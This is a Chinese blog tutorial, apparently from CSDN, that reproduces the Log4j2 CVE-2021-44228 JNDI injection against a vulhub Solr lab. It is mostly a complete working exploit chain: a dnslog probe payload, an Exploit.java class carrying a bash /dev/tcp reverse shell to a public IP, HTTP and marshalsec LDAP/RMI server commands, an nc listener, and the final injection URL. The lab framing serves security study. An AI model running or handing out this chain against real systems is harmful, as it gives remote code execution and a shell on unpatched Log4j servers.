Log4j2 CVE-2021-44228漏洞经典复现超详细(vulhub靶场)

环境搭建

靶场下载

Vulhub - Docker-Compose file for vulnerability environment

服务启动

查看自己的IP

192.168.43.132:8983/solr/#/ 输入IP+端口则会跳转到:

漏洞检测

用到dnslog平台检测dns回显,看看有没有漏洞存在。 dnslog.cn

获得临时domain: pjrpe6.dnslog.cn

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造 payload,访问的url如下:

http://192.168.43.132:8983/solr/admin/cores?

action=${jndi:ldap://${sys:java.version}.pjrpe6.dnslog.cn}

然后到DNSlog里面点击刷新查看:可以多请求几次

这样,Java的版本显示出来了.说明存在漏洞.

漏洞利用

编写恶意类文件

1. 我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip152.136.102.131)的5555端 口,因此对应的bash命令为

exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do 2>&5 >&5; done

其他反弹shell的语句:https://forum.ywhack.com/shell.php

我们就将我们反弹shell的命令写入到恶意的文件中,并取名为Exploit.java

public class Exploit {
   public Exploit(){
       try{
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/152.136.102.131/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }
 
   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

记得修改代码内容:公网IP

2. 然后我们把Exploit.java编译为类文件Exploit.class,最好javac的版本为1.8

javac Exploit.java

.java文件就被编译为.class文件了

3. 在exploit.class所在目录启动http服务

python3 -m http.server

浏览器验证,是否能够从web服务中访问到Exploit.class文件(必须要保证从web服务中能够访问到)

开启LDAP服务

1. 接下来使用marshalsec项目,启动LDAP服务,监听1389端口并加载远程类Exploit.class:

项目下载地址:marshalsec-0.0.3: marshalsec-0.0.3-SNAPSHOT.jar

再起一个命令窗口(详细看文章最后,点击"宝塔后面的+").

然后将下载的jar包复制到刚刚启动服务的文件夹下面

LDAP服务启动

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://152.136.102.131:8000/#Exploit" 1389

LDAP服务启动

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://152.136.102.131:8000/#Exploit" 8888

PS:以上两种服务选择启动那个服务都行。这里开启LDAP服务,注意要更改IP中的内容为你的web服务。

监听反弹

再起一个命令窗口(详细看文章最后,点击"宝塔后面的+")

攻击机新开终端,监听之前Exploit.java里面写的反弹shell的端口5555

nc -lvnp 5555

开启攻击

最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action=构造一个JNDI注入.

http://192.168.43.132:8983/solr/admin/cores?action=${jndi:ldap://152.136.102.131:1389/Exploit}

查看监听端,发现shell反弹成功(如果反弹一直不成功,尝试Burp抓包插入poc发送).

至此漏洞复现完成,复现完后别忘了销毁靶场噢~

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值